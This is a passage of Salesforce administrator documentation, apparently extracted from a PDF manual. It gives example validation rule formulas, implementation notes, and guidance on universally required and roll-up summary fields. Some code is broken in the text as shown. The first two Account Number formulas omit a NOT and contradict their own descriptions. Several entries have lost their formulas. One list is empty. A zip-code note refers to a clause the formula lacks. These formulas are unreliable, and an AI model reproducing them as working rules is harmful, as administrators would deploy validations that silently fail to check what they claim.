Description: Validates that the Account Number is numeric if not blank.
Formula: AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))
)
Field Value
Description: Validates that the Account Number is exactly seven digits (if it is not blank). The
number seven is simply illustrative. You can change this to any number you like.
899
Customize Managing Validation Rules
Field Value
Formula: AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7
)
Field Value
Description: Validates that the account Annual Revenue is not negative and does not exceed $100
billion. This limit is designed to catch typos.
Formula: OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000
)
Field Value
Description: Ensures that users cannot save a time card record with more than 40 hours in a work
week. This example requires five custom fields on your custom object, one for each day
of work.
Formula: Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40
900
Customize Managing Validation Rules
Field Value
Description: Validates that a custom field called Hours Worked is not a negative number.
Formula: Hours_Worked__c < 0
Field Value
Description: Validates that a custom field called Ark Passengers is a non-negative even number.
Formula: OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0
)
Field Value
Description: Validates that a custom field called Socks Found is a non-negative odd number.
Formula: OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0
)
Field Value
Description: Validates that a custom field called Multiple of 5 is a multiple of five.
Formula: MOD( Multiple_of_5__c, 5) <> 0
901
Customize Managing Validation Rules
Field Value
Description: Validates that a custom field called My Integer is an integer.
Formula: FLOOR( My_Integer__c) <> My_Integer__c
Field Value
Description: Validates that a custom field called Volume is between -50 and 50.
Formula: ABS( Volume__c) > 50
Field Value
Description: Validates that the range between two custom fields, Salary Min and Salary Max,
is no greater than $20,000.
Formula: (Salary_Max__c - Salary_Min__c) > 20000
Error Message: Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Error Location: Salary Max
Field Value
Description: Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent
fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed
as 0.5).
Formula: OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0
)
902
Customize Managing Validation Rules
Field Value
Description: Validates that the contact Mailing Street, Mailing City, and Mailing Country
are provided.
Formula: OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )
)
Field Value
Description: Validates that the contact Mailing Street is provided.
Formula: ISBLANK( MailingStreet )
Field Value
Description: Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if
Mailing Country is USA or blank.
903
Customize Managing Validation Rules
Field Value
Formula: AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 10, 1)))
)
)
)
)
Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
“USA” in all capital letters. The rule is not enforced when the country is “usa.”
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 974.
Field Value
Description: Validates that the Phone number begins with a plus sign (+) for country code. Note that
this validation rule conflicts with the ten-digit rule.
Formula: LEFT(Phone, 1) <> "+"
Field Value
Description: Validates that the Phone number is in (999) 999-9999 format. This works by using the
REGEX function to check that the number has ten digits in the (999) 999-9999 format.
904
Customize Managing Validation Rules
Field Value
Formula: NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))
Field Value
Description: Validates that the value of a custom date field is a weekday (not Saturday or Sunday).
Formula: CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0
Field Value
Description: Validates that the value of a custom date field is a Saturday or Sunday.
Formula: CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0
Field Value
Description: Validates that a custom date field contains a date within the current month and year.
905
Customize Managing Validation Rules
Field Value
Formula: OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)
Field Value
Description: Validates that a custom date field contains a date within the current year.
Formula: YEAR( My_Date__c ) <> YEAR ( TODAY() )
Field Value
Description: Validates whether a custom field called My Date is the last day of the month. To do
this, it determines the date of the first day of the next month and then subtracts 1 day.
It includes special case logic for December.
Formula: DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))
Field Value
Description: Validates whether a custom field called Follow-Up Date is within one year of today’s
date. This example assumes a 365 day year. (It does not handle leap years.)
Formula: Followup_Date__c - TODAY() > 365
906
Customize Managing Validation Rules
Field Value
Description: Validates that a custom field called Begin Date contains a date in the first 15 days of
the specified month.
Formula: DAY( Begin_Date__c ) > 15
Error Message: Begin Date cannot be after the 15th day of month.
Error Location: Begin Date
Field Value
Description: Validates that a custom field called End Date does not come before another custom
field called Begin Date.
Formula: Begin_Date__c > End_Date__c
Field Value
Description: Validates that a custom field called Expiration Date does not come before Close
Date.
Field Value
Description: Validates that a custom field called Delivery Date is provided if an opportunity has
advanced to the Closed Won or Negotiation/Review stage.
907
Customize Managing Validation Rules
Field Value
Formula: AND (
OR (
ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)
Field Value
Description: Validates that the Close Date of an opportunity is not within a month prior to the
current month. Note the use of ISNEW and ISCHANGED in this formula to ensure
the condition is only checked when the opportunity is being created or the Close Date
field is modified subsequently.
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )
Field Value
Description: Ensures that users do not change the Close Date of an opportunity to a day in the past.
Formula: CloseDate < TODAY()
Discounts on Opportunities
Field Value
Description: Validates that a custom discount percent field is between 0 and 40%.
Formula: OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)
908
Customize Managing Validation Rules
Field Value
Error Location: Discount Rate
Field Value
Description: Opportunities with amounts greater than $50,000 require that a custom checkbox field
called Approved is checked in order to change the stage to Closed Won or Closed Lost.
To automate this, set field-level security on the Approved checkbox so that it can only
be checked via a custom approval process. (Enterprise Edition or Unlimited Edition)
Formula: AND(
OR(
ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),
(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))
Error Message: All high-value opportunities must be approved for closure. Click the Request Close
button.
Error Location: Top of Page
Field Value
Description: Validates that opportunity Amount is positive and no more than $10 million. This limit
is designed to catch typos.
Formula: OR(
Amount < 0,
Amount > 10000000
)
Field Value
Description: Validates that an opportunity has at least one opportunity product before users can save a change
to an opportunity.
Formula: NOT(OR(ISNEW(),HasOpportunityLineItem))
Error Message: You must add products to this opportunity before saving.
Error Location: Top of Page
909
Customize Managing Validation Rules
Field Value
Description: Validates that an opportunity has opportunity products before the Stage can move
beyond Needs Analysis.
Formula: AND (
CASE( StageName,
"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,
NOT(HasOpportunityLineItem)
)
Error Message: Opportunity products are required to advance beyond the Needs Analysis stage.
Error Location: Top of Page
Field Value
Description: Validates that an opportunity contains a hyphen as a way of enforcing an “[Account] -
[Amount]” opportunity naming convention.
Formula: FIND( " - ", Name ) = 0
Field Value
Description: Prevent sales reps from changing opportunity Stage “backwards” to specific values, once
they have accepted the opportunity via a custom approval process. The approval process
sets the custom Accepted Flag checkbox to True.
Formula: AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,
"Stage 2"))
)
910
Customize Managing Validation Rules
Field Value
Description: Validates that the probability of a won opportunity is properly set to 100%. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)
Field Value
Description: Validates that the probability of a lost opportunity is properly set to zero. This is useful
for data cleanliness and reporting purposes.
Formula: AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)
Field Value
Description: Validates that a field is conditionally required based on the values of other fields. Use this
validation formula to ensure that users include a Project Start Date for an opportunity
that is closed/won.
Formula: AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))
911
Customize Managing Validation Rules
Field Value
Description: Shows an error if a quote line item's discount exceeds 40%.
Formula: Discount > .40
Error Message: The discount on this quote line item cannot exceed 40%.
Error Location: Discount on quote
Field Value
Description: Validates that a custom field called Other Reason contains a value if a case has a Case
Reason of “Other.”
Formula: AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)
)
Field Value
Description: If a case is already open, prevents the Status from being changed back to “New.”
Formula: AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")
)
912
Customize Managing Validation Rules
Field Value
Description: Validates that the case Status is “Re-opened” when a closed case is opened again.
Formula: AND(
ISCHANGED( Status ),
OR(
ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ), "Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))
)
Field Value
Description: Validates that a custom field on opportunities called Discount Percent does not
exceed a maximum value that varies depending on the user’s role. The default maximum
is 15%.
Formula: Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)
Error Message: Discount (%) exceeds limit allowed for your role.
Error Location: Discount Percent
Field Value
Description: Validates a custom field called Expense Amount against a custom user field called Max
Allowed Expense.
913
Customize Managing Validation Rules
Field Value
Description: Ensures that only the record owner can make changes to a custom field called Personal
Goal.
Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id
)
Field Value
Description: Ensures that a user can make changes to a custom field called Personal Goal only if
the user is the record owner or has a custom profile of “Custom: System Admin.”
Formula: AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)
Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.
Error Message: Only record owner or administrator can change Personal Goal.
Error Location: Personal Goal
Field Value
Description: Validates that the Close Date of an opportunity does not fall prior to the current
month, except for users who have a custom profile called “Custom: System Admin.”
914
Customize Managing Validation Rules
Field Value
Formula: AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"
)
Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.
Field Value
Description: Prevents users from saving software products with a discount
over 10 percent.
Formula: AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))
Error Message: The discount must be 10% or less for software products.
Error Location: Line Discount
Consulting Discounts
Field Value
Description: Prevents users from saving consulting products with a discount
over 15 percent.
Formula: AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))
Error Message: The discount must be 15% or less for consulting products.
915
Customize Managing Validation Rules
Field Value
Error Location: Line Discount
Training Discounts
Field Value
Description: Prevents users from saving training products with a discount
over 20 percent.
Formula: AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))
Error Message: The discount must be 20% or less for training products.
Error Location: Line Discount
Field Value
Description: Prevents users from editing opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunity products.
Formula: OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))
Field Value
Description: Prevents users from deleting opportunity products after an
opportunity is closed. Create the following validation rule
example on opportunities. It uses a custom roll-up summary
field on opportunities that counts the number of opportunity
products on an opportunity.
Formula: AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )
916
Customize Managing Validation Rules
Field Value
Error Location: Top of Page
Field Value
Description: Prevents users from saving a case for an account that does not
have support. This example assumes you have a custom
checkbox field on accounts called Allowed Support that
tracks if the account has support.
Formula: Account.Allowed_Support__c = FALSE
Error Message: Unable to create cases for this account because it is not signed
up for support.
Error Location: Top of Page
Field Value
Description: Prevents users from saving an open case associated with a
contact that is no longer with the company. This example uses
a custom checkbox field on contacts called No Longer With
Company.
Formula: AND(Contact.No_Longer_With_Company__c,
NOT(IsClosed))
Error Message: Unable to save this case because the related contact is no longer
with the company. To continue, choose another contact.
Error Location: Contact Name
Field Value
Description: Prevents users from entering offensive language in the Title and Description fields
when asking a question.
Formula: OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
917
Customize Managing Validation Rules
Field Value
Description: Prevents users from entering offensive language when replying to a question.
Formula: OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))
Field Value
Description: Prevents users from entering offensive language in the Title and Description fields
when posting an idea.
Formula: OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
Field Value
Description: Prevents users from entering offensive language when posting a comment.
Formula: OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))
Field Value
Description: Allows a custom field called Commit Amount to be increased but not decreased after
initial creation. This rule uses the PRIORVALUE() function to compare the updated
value of the field to its value prior to update.
Formula: PRIORVALUE(Commit_Amount__c) > Commit_Amount__c
918
Customize Managing Validation Rules
Field Value
Description: Ensures that a custom field called Drivers License is in the correct A9999999 format
when the Mailing State is “CA”.
Formula: AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)
Field Value
Description: Uses a checkbox labeled “I accept terms” to force the user to select a checkbox in order
to enter a value called Number of Days that exceeds their Paid Time Off (PTO)
balance available.
Formula: AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c
)
Error Message: Request will cause a negative PTO balance. You must accept Negative PTO Balance
terms.
Error Location: I accept terms
Field Value
Description: Prevents users from changing a custom field called Guaranteed Rate after it has been
saved initially.
Formula: AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )
)
919
Customize Managing Validation Rules
Field Value
Description: Validates that a custom text field called SSN is formatted in 999-99-9999 number format
(if it is not blank). The pattern specifies:
• Three single digits (0-9):\\d{3}
• A dash
• Two single digits (0-9):\\d{2}
• A dash
• Four single digits (0-9):\\d{4}
Formula: NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)
Valid Currency
Field Value
Description: Validates selected currency against an explicit subset of active currencies in your
organization using the Currency picklist. Use this example if you only allow some of
the active currencies in your organization to be applied to certain types of records.
Formula: CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0
Field Value
Description: Validates that a custom text field called Credit_Card_Number is formatted in
9999-9999-9999-9999 or 9999999999999999 number format when it is not blank.The
pattern specifies:
• Four digits (0-9) followed by a dash: \\d{4}-
• The aforementioned pattern is repeated three times by wrapping it in () {3}
• Four digits (0-9)
920
Customize Managing Validation Rules
Field Value
• The OR character (|) allows an alternative pattern of 16 digits of zero through nine
with no dashes: \\d{16}
Valid IP Address
Field Value
Description: Ensures that a custom field called IP Address is in the correct format, four 3-digit
numbers (0-255) separated by periods.
Formula: NOT(
REGEX( IP_Address__c,
"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
))
Error Message: Error: IP Address must be in form 999.999.999.999 where each part is between 0 and
255.
Error Location: IP Address
Website Extension
Field Value
Description: Validates a custom field called Web Site to ensure its last four characters are in an
explicit set of valid website extensions.
Formula: AND(
RIGHT( Web_Site__c, 4) <> ".COM",
RIGHT( Web_Site__c, 4) <> ".com",
RIGHT( Web_Site__c, 4) <> ".ORG",
RIGHT( Web_Site__c, 4) <> ".org",
RIGHT( Web_Site__c, 4) <> ".NET",
RIGHT( Web_Site__c, 4) <> ".net",
RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk"
)
Error Message: Web Site must have an extension of .com, .org, .net, or .co.uk.
Error Location: Web Site
921
Customize Managing Validation Rules
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value. Review the following implementation notes and best practices before implementing validation rules in your
organization.
Implementation Notes
• It is not necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works.
For example:
- Correct: CloseDate < TODAY()
- Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE)
• Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:
• Validation formulas cannot reference merge fields for auto number or compound address fields like Mailing Address.
However, merge fields for individual address fields, such as Billing City, can be used in validation formulas.
• Validation formulas cannot reference campaign statistic fields, including statistics for individual campaigns and campaign
hierarchies. For a list of fields that cannot be used in validation formulas, see Campaign Fields on page 2041.
• When one validation rule fails, Salesforce.com continues to check any additional validation rules on that field or any other
field on the page and displays all appropriate error messages at once.
• The detail page of a custom activity field does not list associated validation rules.
• If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task is not
created.
• Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your
organization.
• Campaign hierarchies ignore validation rules.
• Salesforce.com runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates
records that have valid values.
• The Data Loader and the Force.com API version 7 and later run validation rules.
• Salesforce.com runs validation rules on records before they are imported. Records that fail validation are not imported.
Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.
• When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout, Salesforce.com automatically changes
the error location to Top of Page.
• An “Invalid Formula” error displays if your formula has a run-time error such as division by zero.
• You cannot create validation rules for relationship group members.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.
• When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example,
if you have a validation rule that tests to see if the serial number of an asset begins with “3,” all assets that have a blank
serial number are considered valid.
922
Customize Managing Validation Rules
• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:
- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)
Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:
- AccountAccessLevel (on Territory)
• Because roll-up summary fields are not displayed on edit pages, you can use them in your validation rule but not as the
error location.
• Validation rules do not run on multiple records updated after a change owner or mass transfer. However, changing an
owner of a single record does run validation rules.
Tip: Salesforce.com processes any rules in the following order:
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.
Best Practices
• When creating validation rules, consider all the settings in your organization that can make a record fail validation such
as assignment rules, field updates, field-level security, or fields hidden on a page layout.
• Be careful not to create two contradicting validation rules for the same field; otherwise, users will not be able to save the
record.
• A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule
before activating it. Users will never be able to save a record if your formula always returns a “True” value.
• Because validation rules run on the Self-Service portal, make sure your validation rules do not prevent Self-Service users
from creating cases.
• Write helpful error messages:
Always include the field label.
Users may not know what field is failing validation, especially if your error message is located at the top of the page.
923
Customize Managing Validation Rules
Give instructions.
An error message like “invalid entry” does not tell them what type of entry is valid. Use an error message like "Close
Date must be after today."
• When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include
fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following
validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)
• Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or
false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the
HasOpportunityLineItem merge field before users can save a change to it:
NOT(OR(ISNEW(),HasOpportunityLineItem))
• When referencing related fields in your validation formula, make sure those objects are deployed.
• Check the Debug Log to monitor details of the start and completion of each validation rule evaluated.
• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.
See Also:
About Validation Rules
Defining Validation Rules
Examples of Validation Rules
924
Customize About Universally Required Fields
A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated
processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level security
ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond the
presentation level of page layouts.
You can make the following types of custom fields universally required:
• Currency
• Date
• Date/Time
• Email
• Master-Detail Relationship (always required)
• Number
• Percent
• Phone
• Text
• Text Area
• URL
To make a custom field universally required, select the Required checkbox when defining the custom field.
Note: You must specify a default value for required campaign member custom fields.
If you make a user field universally required, you must specify a default value for that field. See Defining Default Field
Values on page 886.
Relationship group members do not support universally required fields. For more information on the behaviors of relationship
group members, see Relationship Group Considerations on page 1867.
See Also:
Universally Required Field Considerations
About Custom Fields
A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated
925
Customize About Roll-Up Summary Fields
processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom fields
universally required.
• Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required,
see About Universally Required Fields on page 925.
• Universally required fields are required across all record types.
• Edit pages always display universally required fields, regardless of field-level security.
• When designing your page layouts, universally required fields:
• Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled
in your organization.
• Quick Create does not enforce universally required fields.
• If you make an activity custom field universally required, you must also provide a default value.
• You must include universally required fields in your import files or the import will fail. For more information, see About
Universally Required Fields on page 925. For more information, see Importing Overview on page 618.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see Defining Field Updates on page 1418.
• Required fields may be blank on records that existed before making the field required. When a user updates a record with
a blank required field, the user must enter a value in the required field before saving the record.
See Also:
About Universally Required Fields
About Custom Fields
While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a
set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value
on a master record based on the values of records in a detail record. These detail records must be directly related to the master
through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum
of invoice amounts for all related invoice custom object records in the Invoices related list on an account.
You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records
related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records.
Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices.
926
Customize About Roll-Up Summary Fields
Implementation Tips
Administration
• Create roll-up summary fields on:
- Any custom object that is on the master side of a master-detail relationship
- Any standard object that is on the master side of a master-detail relationship with a custom object
- Opportunities using the values of opportunity products related to the opportunity
- Accounts using the values of related opportunities
- Campaigns using campaign member status or the values of campaign member custom fields
Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not
supported.
• The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example,
- Number, currency, and percent fields are available when you select SUM as the roll-up type.
- Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.
• You may not be able to change the field type of a field that you reference in a roll-up summary field.
• For the maximum number of roll-up summary fields allowed in your organization, see Salesforce.com Editions and Limits
on page 1584.
• Make sure that the filter for your roll-up summary does not encounter a formula field that results in “#Error!”. If your filter
criteria uses a formula field that results in an error, Salesforce.com does not return any matches for that filter criterion. For
example, if your roll-up summary filter is “Formula Field equals 10” and two records contain errors while one contains the
value “10” in that field, your summary only includes the record with the value “10.”
• Salesforce.com does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select
the Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field
to manually recalculate the value.
• Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and
lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters.
• Auto number fields are not available as the field to aggregate in a roll-up summary field.
• After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into
a lookup relationship.
• Roll-up summary fields are not available for mapping lead fields of converted leads.
Management
• Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up
summary fields, which allow you to calculate the values of opportunity roll-up summary fields.
• Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or
functions that automatically derive values on the fly, such as NOW or TODAY.
Note: The value of a formula field can result in “#Error!”, which affects the summarized total. If your roll-up
summary type is COUNT, records are included regardless of whether they contain a formula field with an error,
but when the Field to Aggregate is a formula field that results in “#Error!”, calculations of type MIN, MAX,
and SUM exclude those formula values.
• Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of
the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned.
• Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do
not fire when the following changes cause a mass recalculation of roll-up summary values:
927
Customize About Roll-Up Summary Fields
- Changing the roll-up summary definition (such as the object, function, or field being aggregated)
- Changing the expression of a formula field referenced in a roll-up summary field
- Replacing picklist values for picklist fields referenced in the roll-up summary filter
- Changing picklist record type definitions
- Changing currency conversion rates
- Changing price book entries
• Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and
other factors.
• Salesforce.com does not prevent you from creating roll-up summary fields that might result in invalid values, such as
February 29th in a non-leap year. If an existing roll-up summary field results in an invalid value, Salesforce.com does not
recalculate the value, and the field will continue to display with an invalid roll-up summary icon ( ) until you change the
values being summarized.
• If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up
summary field. For example, if the master and detail records are in different currencies, Salesforce.com converts the values
in the detail record into the currency of the master record before calculating the final value and displaying it in the same
currency as the master record.
• If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values or on opportunities and summarizing custom object values.
• Salesforce.com will prevent users from saving a record when doing so would invalidate a related record. For example, if
the related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the
user's change to the child record will put the value over 100, the user will not be able to save the record.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.
Best Practices
• Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields
that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary
field.
• If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving
either the detail or master record because the value in a roll-up summary field changes when the values in the detail records
change.
• Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error
location for your validation.
• Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value
because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up
summary field will always have the new value because that rule runs after the parent value has been updated.
If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record,
your validation rule on the child object needs to check if the count is already 25 or greater.
• Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the
detail object selected or delete any field referenced in your roll-up summary definition.
• Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency
management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities
that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because
Salesforce.com no longer calculates their values.
928
Customize About Roll-Up Summary Fields
• Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes
formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields
that include related object merge fields are also not allowed in roll-up summary fields.
See Also:
Creating Custom Fields
Defining Roll-Up Summaries
Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does
not already exist, first create a master-detail relationship between the master object that displays the value and the detail object
containing the records you are summarizing. For a list of the standard master-detail relationships where roll-up summary
fields are available, see About Roll-Up Summary Fields on page 926.
To define a roll-up summary field:
1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records
on a related object, so the object on which you create the field should be on the master side of a master-detail relationship.
For instructions on creating a custom field, see Creating Custom Fields on page 812.
2. Choose the Roll-Up Summary field type, and click Next.
3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field
Attributes on page 817.
4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize.
5. Select the type of summary:
Type Description
COUNT Totals the number of related records.
SUM Totals the values in the field you select in the Field to Aggregate option. Only number, currency,
and percent fields are available.
MIN Displays the lowest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.
MAX Displays the highest value of the field you select in the Field to Aggregate option for all
